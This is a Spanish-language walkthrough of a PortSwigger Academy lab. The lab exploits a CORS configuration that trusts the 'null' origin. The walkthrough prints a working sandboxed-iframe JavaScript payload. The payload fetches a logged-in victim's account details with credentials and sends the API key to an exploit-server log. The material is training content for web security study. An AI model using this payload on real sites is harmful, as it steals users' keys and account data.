CORS vulnerability with trusted null origin
Laboratorio de Portswigger sobre CORS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este sitio web tiene una configuración Cross-Origin Resource Sharing (CORS) insegura ya que confía en el origen "null". Para resolver el laboratorio, debemos crear un script en JavaScript que utilice Cross-Origin Resource Sharing (CORS) para obtener la clave API del administrador y subir el exploit a nuestro servidor de explotación. El laboratorio se dará por resuelto cuando enviemos correctamente la clave API del administrador. Podemos iniciar sesión en nuestra cuenta utilizando las credenciales wiener:peter
Guía de CORS
Antes de completar este laboratorio es recomendable leerse esta guía de CORS https://justice-reaper.github.io/posts/CORS-Guide/
Resolución
Al acceder a la web vemos esto
Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter
Vemos que podemos cambiar nuestro email y una clave API
Si nos fijamos en la petición que se hace a /accountDetails cuando nos logueamos, veremos que el servidor nos responde con la cabecera Access-Control-Allow-Credentials: true. Esto no lo hace vulnerable a CORS, para que sea vulnerable tenemos que ser capaces de controlar el origen de la petición
Para comprobar si podemos manipular el origen de la petición mandamos esta petición al Repeater y añadimos la cabecera Origin: null. Vemos que nos responde con la cabecera Access-Control-Allow-Origin: null
Modificamos el payload anterior, nos dirigimos al Exploit server y lo pegamos
1
2
3
4
5
6
7
8
9
10
11
12
13
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://0aa100af03ff4cc38027adf700490041.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
function reqListener() {
location = 'https://exploit-0a2800d9039b4c5f8069ac7001ea0015.exploit-server.net/log?key=' + this.responseText;
};
</script>
"></iframe>
Pulsamos sobre View exploit para confirmar que funciona correctamente
Si pulsamos sobre Access log veremos que hemos recibido una petición con nuestra credenciales
Una vez comprobado que funciona, pulsamos sobre Deliver exploit to victim
Copiamos la cadena recibida en el Decoder de Burpsuite y la URL decodeamos
Pulsamos en Submit solution y añadimos la apiKey











